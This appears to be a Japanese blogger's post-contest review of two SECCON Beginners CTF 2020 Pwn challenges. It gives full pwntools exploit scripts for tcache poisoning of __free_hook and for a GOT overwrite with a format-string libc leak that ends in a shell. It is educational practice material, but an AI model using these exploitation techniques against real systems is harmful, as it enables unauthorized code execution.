2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 の Pwn 分野の復習メモです。
競技時間中に解いた問題のwrite-upはこちら。
他分野の復習記事はこちら
本当は全部見ておきたかったけど、サーバー稼働期間も終わってしまうし、ちゃんと基礎からやらんとな、という気持ちになったので2問だけ。
[Pwn] Beginner's Heap [Easy]
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
配布物はなし!ソースがないheapがeasyだなんて…。
とにかくつないでみます。
$ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7fd28756f8e8 <win>: 0x55838f653465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint >
4. Describe heapと5. Describe tcacheで状態が見れる上に、6. Currently available hintでいつでもヒントがもらえちゃう…。凄い問題だ…!
とはいえ、中に書くものは自分で用意しないといけない。ちょっと触ってみたものの、時間がかかりそうだと後回しにした結果、競技終了。
復習
Heap問は割と最近やったところだし、tcache絡みの問題もやっていたので、自力でしばらくがんばります。自力と行っても親切なヒントが出ているんだけども。
初期状態のheapとtcacheはこんな感じ。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x56066a6d5330
[+] B = (nil)
+--------------------+
0x000056066a6d5320 | 0x0000000000000000 |
+--------------------+
0x000056066a6d5328 | 0x0000000000000021 |
+--------------------+
0x000056066a6d5330 | 0x0000000000000000 | <-- A
+--------------------+
0x000056066a6d5338 | 0x0000000000000000 |
+--------------------+
0x000056066a6d5340 | 0x0000000000000000 |
+--------------------+
0x000056066a6d5348 | 0x0000000000020cc1 |
+--------------------+
0x000056066a6d5350 | 0x0000000000000000 |
+--------------------+
0x000056066a6d5358 | 0x0000000000000000 |
+--------------------+
0x000056066a6d5360 | 0x0000000000000000 |
+--------------------+
0x000056066a6d5368 | 0x0000000000000000 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
hint: Tcache manages freed chunks in linked lists by size.
Every list can keep up to 7 chunks.
A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
Let's check what happens when you overwrite fd by Heap Overflow.
picoCTF 2019 の Ghost_Diary 問題でやったことが全部出てきている気がする。ここにまとめといたやつだ。
Aはアドレスが固定で値のみ書き換えられます。ただし、Aはもともと問題文とheapの状態からサイズは0x18ですが、1の機能で0x80まで書き換えできるようです…!これはきっとHeapOverflow。Bはサイズが固定(0x18)で好きな値を入れてalloc,freeできる、という条件。
最初のヒントより、HeapOverflowをしてfdポインタを上書きし、何が起こるか見てみます。
以下、コードは下記のコードをベースに継ぎ足して書いています。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "bh.quals.beginners.seccon.jp" port = 9002 def writeA(data): log.info('write A') r.sendline(b'1') r.sendline(data) r.recvuntil(b'> ') def allocB(data): log.info('alloc B') r.sendline(b'2') r.sendline(data) r.recvuntil(b'> ') def freeB(): log.info('free B') r.sendline(b'3') r.recvuntil(b'> ') def describe_heap(): log.info('descrive heap') r.sendline(b'4') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode()) r.recvuntil(b'> ') def describe_tcache(): log.info('descrive tcache') r.sendline(b'5') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode()) r.recvuntil(b'> ') def hint(): log.info('hint') r.sendline(b'6') print(r.recvuntil(b'\n\n').decode()) r.recvuntil(b'> ') ### main ### r = remote(host, port) r.recvuntil(b'<__free_hook>: ') free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recvuntil(b'<win>: ') win_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recv() print(free_hook_addr) print(win_addr)
まず、BにB(=0x42) * 0x10を詰めてallc。
data = b'B' * 0x10 B = allocB(data) describe_heap()
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5561868fd330
[+] B = 0x5561868fd350
+--------------------+
0x00005561868fd320 | 0x0000000000000000 |
+--------------------+
0x00005561868fd328 | 0x0000000000000021 |
+--------------------+
0x00005561868fd330 | 0x0000000000000000 | <-- A
+--------------------+
0x00005561868fd338 | 0x0000000000000000 |
+--------------------+
0x00005561868fd340 | 0x0000000000000000 |
+--------------------+
0x00005561868fd348 | 0x0000000000000021 |
+--------------------+
0x00005561868fd350 | 0x4242424242424242 | <-- B
+--------------------+
0x00005561868fd358 | 0x4242424242424242 |
+--------------------+
0x00005561868fd360 | 0x000000000000000a |
+--------------------+
0x00005561868fd368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
このあと、Bをfreeします。
freeB() describe_heap() describe_tcache()
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5561868fd330
[+] B = (nil)
+--------------------+
0x00005561868fd320 | 0x0000000000000000 |
+--------------------+
0x00005561868fd328 | 0x0000000000000021 |
+--------------------+
0x00005561868fd330 | 0x0000000000000000 | <-- A
+--------------------+
0x00005561868fd338 | 0x0000000000000000 |
+--------------------+
0x00005561868fd340 | 0x0000000000000000 |
+--------------------+
0x00005561868fd348 | 0x0000000000000021 |
+--------------------+
0x00005561868fd350 | 0x0000000000000000 |
+--------------------+
0x00005561868fd358 | 0x4242424242424242 |
+--------------------+
0x00005561868fd360 | 0x000000000000000a |
+--------------------+
0x00005561868fd368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x00005561868fd350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bのいたアドレスがtcacheに追加され、heap内のBの先頭だったところが0になります。これはtcacheの先頭に積まれたため、fbが初期値だから。
次に、AにA(=0x41) * 0x78を詰めて書き込んでみます。
data = b'A' * 0x78 writeA(data)
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5561868fd330
[+] B = (nil)
+--------------------+
0x00005561868fd320 | 0x0000000000000000 |
+--------------------+
0x00005561868fd328 | 0x0000000000000021 |
+--------------------+
0x00005561868fd330 | 0x4141414141414141 | <-- A
+--------------------+
0x00005561868fd338 | 0x4141414141414141 |
+--------------------+
0x00005561868fd340 | 0x4141414141414141 |
+--------------------+
0x00005561868fd348 | 0x4141414141414141 |
+--------------------+
0x00005561868fd350 | 0x4141414141414141 |
+--------------------+
0x00005561868fd358 | 0x4141414141414141 |
+--------------------+
0x00005561868fd360 | 0x4141414141414141 |
+--------------------+
0x00005561868fd368 | 0x4141414141414141 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x00005561868fd350(rw-) ]
||
\/
[ 0x4141414141414141(---) ]
||
\/
[ BROKEN LINK ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
見ての通り、さっきfreeしたのBの領域までAで埋め尽くされました。更に、tcacheにあった元Bのアドレスのfwにあたる領域を0x41で埋めたため、tcacheに0x4141414141414141のアドレスがつまれました🙌
ここで再度hintを見てみると、文言が変わっています。
Good. The tcache link is corrupted!
Currently it's linked to 0x4141414141414141 but what if it's __free_hook...?
ということで、最初にもらった__free_hookのアドレスでfwを書き換えるよう、Aの中身を変更してみます。
data = b'A' * 0x8 * 4 + p64(free_hook_addr) writeA(data)
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x55d43618d330
[+] B = (nil)
+--------------------+
0x000055d43618d320 | 0x0000000000000000 |
+--------------------+
0x000055d43618d328 | 0x0000000000000021 |
+--------------------+
0x000055d43618d330 | 0x4141414141414141 | <-- A
+--------------------+
0x000055d43618d338 | 0x4141414141414141 |
+--------------------+
0x000055d43618d340 | 0x4141414141414141 |
+--------------------+
0x000055d43618d348 | 0x4141414141414141 |
+--------------------+
0x000055d43618d350 | 0x00007f13544b08e8 |
+--------------------+
0x000055d43618d358 | 0x424242424242420a |
+--------------------+
0x000055d43618d360 | 0x000000000000000a |
+--------------------+
0x000055d43618d368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055d43618d350(rw-) ]
||
\/
[ 0x00007f13544b08e8(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
やった!狙ったとおりになりました。またhintが変わっています。
It seems __free_hook is successfully linked to tcache!
But the chunk size is broken or too big maybe...?
そのとおり。サイズはノータッチでした。もとのBとおなじになるように、またAの中身を変えてみます。
data = b'A' * 0x8 * 3 + p64(0x21) + p64(free_hook_addr) writeA(data)
heapはこう変わります。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x55bd4f0c6330
[+] B = (nil)
+--------------------+
0x000055bd4f0c6320 | 0x0000000000000000 |
+--------------------+
0x000055bd4f0c6328 | 0x0000000000000021 |
+--------------------+
0x000055bd4f0c6330 | 0x4141414141414141 | <-- A
+--------------------+
0x000055bd4f0c6338 | 0x4141414141414141 |
+--------------------+
0x000055bd4f0c6340 | 0x4141414141414141 |
+--------------------+
0x000055bd4f0c6348 | 0x0000000000000021 |
+--------------------+
0x000055bd4f0c6350 | 0x00007f3ef72fa8e8 |
+--------------------+
0x000055bd4f0c6358 | 0x424242424242420a |
+--------------------+
0x000055bd4f0c6360 | 0x000000000000000a |
+--------------------+
0x000055bd4f0c6368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
hintもまた変わりました。
It seems __free_hook is successfully linked to tcache!
But you can't get __free_hook since you can only malloc/free B.
What if you change the chunk size to a value other than 0x21...?
__free_hookは、次にmallocかfreeが呼ばれたときにしか発動しません。そこで、サイズを先程は元のBと同じ0x21に指定しましたが、違うサイズにしてみることを提案されています。
tcacheのサイズに当てはまる、少し大きめのサイズ0x40を設定してみました。
data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr) writeA(data)
hintはこうなりました
It seems __free_hook is successfully linked to tcache!
And the chunk size is properly forged!
chunk sizeを大きめに書き換えたことで、freedな領域のサイズがマージされています。
現在tcacheの中身は、B -> __free_hook になっています。__free_hookを先頭に持ってくるために、もう一度Bをmallock,freeしてみます。
data = b'B' * 0x10 B = allocB(data) freeB()
実行結果
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5584fa140330
[+] B = (nil)
+--------------------+
0x00005584fa140320 | 0x0000000000000000 |
+--------------------+
0x00005584fa140328 | 0x0000000000000021 |
+--------------------+
0x00005584fa140330 | 0x4141414141414141 | <-- A
+--------------------+
0x00005584fa140338 | 0x4141414141414141 |
+--------------------+
0x00005584fa140340 | 0x4141414141414141 |
+--------------------+
0x00005584fa140348 | 0x0000000000000040 |
+--------------------+
0x00005584fa140350 | 0x0000000000000000 |
+--------------------+
0x00005584fa140358 | 0x4242424242424242 |
+--------------------+
0x00005584fa140360 | 0x000000000000000a |
+--------------------+
0x00005584fa140368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x00007ff2bf0158e8(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
hintはこうなりました
It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
Also B is empty! You know what to do, right?
Yeah! もう一度mallocすると__free_hookの領域が取れます。ここで、free_hookの第一引数にwin関数をセットすると、次にfreeが呼び出されたときにこれが発動、win関数がコールされるはず!
data = p64(win_addr) B = allocB(data)
合っているか心配なのでここでもhintも見ておきます。
It seems you did everything right!
freeis now equivalent towin
(๑•̀ㅂ•́)و✧
あとはfreeを呼ぶだけ!
log.info('free B') r.sendline(b'3') print(r.recv()) print(r.recv())
実行結果
b'Congratulations!'
b'\nctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}\n'
\(ˊᗜˋ)/
これは!競技中に!ちゃんと時間をとってやるべきだった!!!!!!
最後に全体スクリプトを載せるだけ載せておこう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "bh.quals.beginners.seccon.jp" port = 9002 def writeA(data): log.info('write A') r.sendline(b'1') r.sendline(data) r.recvuntil(b'> ') def allocB(data): log.info('alloc B') r.sendline(b'2') r.sendline(data) r.recvuntil(b'> ') def freeB(): log.info('free B') r.sendline(b'3') r.recvuntil(b'> ') def describe_heap(): log.info('descrive heap') r.sendline(b'4') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode()) r.recvuntil(b'> ') def describe_tcache(): log.info('descrive tcache') r.sendline(b'5') print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode()) r.recvuntil(b'> ') def hint(): log.info('hint') r.sendline(b'6') print(r.recvuntil(b'\n\n').decode()) r.recvuntil(b'> ') ### main ### r = remote(host, port) r.recvuntil(b'<__free_hook>: ') free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recvuntil(b'<win>: ') win_addr = int(r.recvuntil(b'\n').strip().decode(), 16) r.recv() # tcacheにBの領域を積む data = b'B' * 0x10 B = allocB(data) freeB() # Heap Overflow で freeされたBを上書き data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr) writeA(data) # tcache 消費 data = b'B' * 0x10 B = allocB(data) freeB() # __free_hookにwin関数を仕込む data = p64(win_addr) B = allocB(data) # free! log.info('free B') r.sendline(b'3') print(r.recv()) print(r.recv())
[Pwn] Elementary Stack [Easy]
Do you really understand stack?
nc es.quals.beginners.seccon.jp 9003
このさきのPwn問題は、競技期間中開いてすらなかった!
復習
実行ファイルchall、libc-2.27.so、main.cが配布されます。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define X_NUMBER 8 __attribute__((constructor)) void setup(void) { setbuf(stdout, NULL); alarm(30); } __attribute__((noreturn)) void fatal(const char *msg) { printf("[FATAL] %s\n", msg); exit(0); } long readlong(const char *msg, char *buf, int size) { printf("%s", msg); if (read(0, buf, size) <= 0) fatal("I/O error"); buf[size - 1] = 0; return atol(buf); } int main(void) { int i; long v; char *buffer; unsigned long x[X_NUMBER]; if ((buffer = malloc(0x20)) == NULL) fatal("Memory error"); while(1) { i = (int)readlong("index: ", buffer, 0x20); v = readlong("value: ", buffer, 0x20); printf("x[%d] = %ld\n", i, v); x[i] = v; } return 0; }
最初に0x20サイズの領域をbufferに確保し、配列 x[]の配列にユーザー入力の値を表示・格納していくシンプルなプログラム。配列xは、最初にx[8]とサイズが決まっています。flagについての記載はないので、shellを取ってflag.txt的なものを表示させる系に違いない。
ちなみに、constructorで30秒アラートを設定されているので、30秒以内に実行する必要があります。
今回はhintなしなので、自分で方針を考えなければいけない。ソースを読んで & 実行ファイルを動かしてみて、気になった点をメモ。
x[index]のindexには8を超える値や負の値も入れられる- main関数のreturnは、
while(1)を抜ける条件がないので呼ばれない(returnアドレスを書き換えても無駄) readlong関数のreturnatol(buf)は、atolをsystemに書き換えられるとsystem(buf)みたいにsystemを任意の引数で呼び出せそう
配布されたchallは No PIE なので各関数のアドレスはわかるのだけど、サーバーで稼働中のlibcのsystemのアドレスがわからない。
ここまで考えたけど、攻撃が繋がらなかった。おとなしくwriteupを見ます。今回は下記の4つが見つかりました。ありがとうございます🙏
- SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ
- 作問者解説
- SECCON Beginners CTF 2020 Elementary stackを理解する | terassyi
- 後から復習した記事とのこと
- SECCON Beginners CTF 2020 write-up - Qiita
- SECCON Beginners CTF 2020 Writeup - 過密です
これらを読むと、
- 1つ目の条件より、範囲外書き込みによって
atolをsystemに書き換えて呼び出す方法が考えられる systemのアドレスがわからない。これは、atoi(atol)をprintfに向けてFormat String Bugを引き起こす
という作戦が想定解のようです。
2つめの方法は初めて見たので調べてみました。libcアドレスをリークする時に使える手法で、atoiやatolなどのGOTをprintf,scanfなどに書き換えることで stack based FSB を発動させ、書き換え先の関数の libc address をリークするようです。
過去にもこれを使って説いたっぽいCTFのwriteupが出てきました。古いものだと2016年!
- BCTF 2016 writeup - しゃろの日記
- 【pwn 4.11】babyheap - HITCON CTF 2016 - newbieからバイナリアンへ
- BCTF 2016 Writeup - つれづれなる備忘録
※ここからは、全くわからないなりに理解していった手順を書いていきます。かなり回りくどいです。
まず、*bufferの示す先をatol@gotに書き換えてみます。
radare2でlocal変数の配置を確認すると、
# r2 ./chall [0x004005f0]> aaaa (略) [0x004005f0]> s main [0x0040079e]> pdf / (fcn) main 138 | main (int argc, char **argv, char **envp); | ; var int local_54h @ rbp-0x54 | ; var int local_50h @ rbp-0x50 | ; var int local_48h @ rbp-0x48 | ; arg int arg_40h @ rbp+0x40 (略)
続きのコードを見る限り、
rbp-0x54: i rbp-0x50: *buffer rbp-0x48: v rbp+0x40: x[]
になっているようです。このため、x[-2]に書き込むと、bufferの向き先を書き換えることができます。ここで向き先をGOT領域にすると、次回からのユーザー入力時にreadlong関数内で read(0, GOT領域, 0x20) となり、GOT領域を上書きできます。
code1
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'es.quals.beginners.seccon.jp' port = 9003 e = ELF('./chall') libc = ELF('./libc-2.27.so') r = remote(host, port) # *buffer の示す先を atol に書き換え: x[-2] = atol@got r.recvuntil(b'index: ') r.sendline(b'-2') r.recvuntil(b'value: ') r.sendline(str(e.got[b'atol']).encode())
ちなみに、main関数のx[i] = v;の時に書き換えが生じます。この時はまだreadlong関数内のreturn atol(buf)はそのままatolとして実行されるため、アドレスもatolの入力値の型に合わせてstrで送ります。
更に、atol@gotの先をprintf@pltに書き換えます。
具体的には、index入力時のreadlong()関数内、read(0, buf, size)で、atol@gotを指しているbufにユーザー入力でprintf@pltの値を入れてあげます。
code2
(上のcode1の続き) # atol@got を printf@plt に書き換え r.recvuntil(b'index: ') r.sendline(p64(e.plt[b'printf'])) res = r.recvuntil(b'value: ') print(res)
実行してみると、
b'\x90\x05@value: '
と表示されました。
value:だけが表示されるのが通常状態なので、何かが追加で出力されました。これは、atol@gotの向き先が意図通りprintf@pltに書き換わったため、readlong関数の最後、return atol(buf); のときに、printf(buf)が実行されたためです。
このときbufはprintf@pltが入っているので、それがそのまま出てきました。
さて、次に FSB を発動させます。先程printf(buf)が用意できたので、出来るはず!
ひとまずFSBの詳細は後回し。b'%25$p'を送ると良いらしいのでそれで試していますが、b'%10$p'でも何でもOK。
code3
(code2の続き) # FSB発動 r.sendline(b'%25$p') res = r.recvuntil(b'index: ') print(res)
これを実行すると、raise EOFErrorで落ちました。何が起きたのでしょう。
このとき、またreadlong関数のread(0, buf, size)で、atol@gotを指しているbufにb'%25$p'を入れてしまっています…。これではatolのかわりにprintfが呼ばれなくなってしまいます。
試しに、
code4
(code2の続き) # お試しにもう一度printfしてみる r.sendline(p64(e.plt[b'printf'])) res = r.recvuntil(b'index: ') print(res)
としてみると、
b'\x90\x05@x[3] = 3\nindex: '
と表示されました。先ほどと同じ出力です。しかしこのままでは、atol@gotをprintf@pltに向き変えたときしかprintfが発動しないので、printfは一生自分のアドレスを表示することしかできません…。
そこで、GOT領域のatolを書き換えるのではなく、0x8前のアドレスを書き換えることで、atol@gotはprintf@pltに向けつつ、bufを自由な値が入力できるようにするらしい。ほぉほぉほぉ!
ちなみに、下記の様にしてGOT領域の関数とアドレスを一覧することができます。(もっといい方法もあるかも)
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('./chall') for name,address in e.got.items(): print(name.decode() + ': ' + hex(address))
実行結果
$ python test.py setbuf: 0x601018 printf: 0x601020 alarm: 0x601028 read: 0x601030 malloc: 0x601038 atol: 0x601040 exit: 0x601048
ということで、atol@gotの一つ前(-0x8)は、malloc@gotであることがわかります。この攻撃を成功させるためには、mallocが攻撃ループ中に呼ばれないことが条件になりますが(書き潰してしまうので)、今回はmallocは最初に呼ばれているだけなので条件を満たしています🙌
やりたいのはこんな感じ。
GOT area
+--------+
| ... |
+--------+
*buffer -> | malloc | -> user input で上書きされる buf
+--------+
| atol | -> printf@plt
+--------+
| ... |
+--------+
この状態でatolが呼ばれると、printf(buf)(bufの中身はmalloc@gotに格納される)が実現できそう。
ということで、最初からやり直し。
code5
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'es.quals.beginners.seccon.jp' port = 9003 e = ELF('./chall') libc = ELF('./libc-2.27.so') r = remote(host, port) # *buffer の示す先を atol@got-0x8 = malloc@got に書き換え r.recvuntil(b'index: ') r.sendline(b'-2') r.recvuntil(b'value: ') r.sendline(str(e.got[b'malloc']).encode()) # atol@got を printf@plt に書き換え r.recvuntil(b'index: ') r.sendline(b'a'*8 + p64(e.plt[b'printf'])) # malloc -> 'aaaaaaaa', atol -> printf res = r.recvuntil(b'value: ') print(res) # FSB発動 r.sendline(b'%25$p') res = r.recvuntil(b'index: ') print(res)
実行結果
b'aaaaaaaa\x90\x05@value: ' b'0x7fd1a3949b97\naa\x90\x05@x[11] = 20\nindex: '
やったー!アドレスっぽいものが取れています!
さて、ここでちょっと遡って、Format String Attack の index が 25 というのはどうやって導くのか考えます。
FSBの基本は今回の出題者でもあるptr-yudaiさんのブログ記事がとてもわかり易い。
Format String Exploitを試してみる - CTFするぞ
のですが、ここや他の方のwriteupを見たり、他のCTFのwriteupやgdb,gdb-pedaの使い方を見てみたのですが、この先の解法がいまいちわからず。
どうやら、gdb(gdb-peda)なんかを用いて、プログラム実行中のstackの状態を見てみると、b97が末尾に現れるところがあるので、このアドレスを確認してみると、<__libc_start_main+231>であることがわかるらしい。
このb97というのがどこから来たのか、そしてgdbの使い方がまだよくわかってないのか、プログラム実行中、printf関数実行中などにbreakpoint仕込んでもこのb97で終わるメモリが見つからない。ここらへんは、ちゃんと基礎からやらないとわからないかなぁ…。atol@gotをprintf@pltに書き換えた後に見ないといけないのかな。
gdb起動して、run中のinputにpackした値を入れたいんだけど、そのやり方がわからなかった。(今回でいうとb'a'*8 + p64(e.plt[b'printf']))。これができたら、gdb上でatol->printfの書き換え、printfの実行の状態に持っていけるので、そこでメモリを見たらこいつがいたのかしら…。
なにはともあれ、b97がわかったとして、今度はindex 25がどうやって導かれるのか。
これは、上記で困っていた「gdb上でprintfへの書き換え」ができていれば、その時のstackの状態を見れば良さそう。もしくは、先程のb97がわかっている、かつ libcアドレスはローテートされても下桁は変わらないので、これが出てくるまで %n$p のnをインクリメントしながら探していけば見つかる。
大きな疑問が残ったままですが、このb97がわかったとして、libc_baseを求めるのは、上記で探し当てたb97が末尾に出てくるサーバー側のlibcアドレスから、__libc_start_main + 231を引いたものになります。
ここまでくれば、後はatolをprintfに書き換えたときと同様、今度はatolをsystemに向けてあげればshellが取れる。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'es.quals.beginners.seccon.jp' port = 9003 e = ELF('./chall') libc = ELF('./libc-2.27.so') r = remote(host, port) #r = process('./chall') # *buffer の示す先を atol@got-0x8 = malloc@got に書き換え r.recvuntil(b'index: ') r.sendline(b'-2') r.recvuntil(b'value: ') r.sendline(str(e.got[b'malloc']).encode()) # atol@got を printf@plt に書き換え r.recvuntil(b'index: ') r.sendline(b'a'*8 + p64(e.plt[b'printf'])) res = r.recvuntil(b'value: ') print(res) # FSB発動 r.sendline(b'%25$p') res = r.recvuntil(b'index: ') print(res) # libc_base計算 libc_addr = int(res[:14],16) libc_base = libc_addr - (libc.symbols[b'__libc_start_main'] + 231) print('libc_base: ' + hex(libc_base)) # atol を system で上書き r.sendline(b'/bin/sh\0' + p64(libc_base + libc.symbols[b'system'])) r.interactive()
実行結果
$ python solve.py
[*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] '/SECCON Beginners CTF 2020/pwn/Elementary Stack/elementary_stack/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to es.quals.beginners.seccon.jp on port 9003: Done
b'aaaaaaaa\x90\x05@value: '
b'0x7f906b2fdb97\naa\x90\x05@x[11] = 20\nindex: '
libc_base: 0x7f906b2dc000
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
ちなみに、もう一つの過密さんのwriteupでは、途中まで一緒でしたがatol->printfに書き換えの際についでにprintfの引数に%25$pを付けて1ターン省略していました。
(略) # atol@got を printf@plt に書き換え, FSB発動 r.recvuntil(b'index: ') r.sendline(b'%25$p,xx' + p64(e.plt[b'printf'])) res = r.recvuntil(b'value: ') (略)
こちらの攻撃コードでも、同様にflagが取れました。
b97の謎が残ってて気持ち悪いけど、時間を溶かしすぎたのでひとまず区切り。ちゃんとpwnに入門せねば。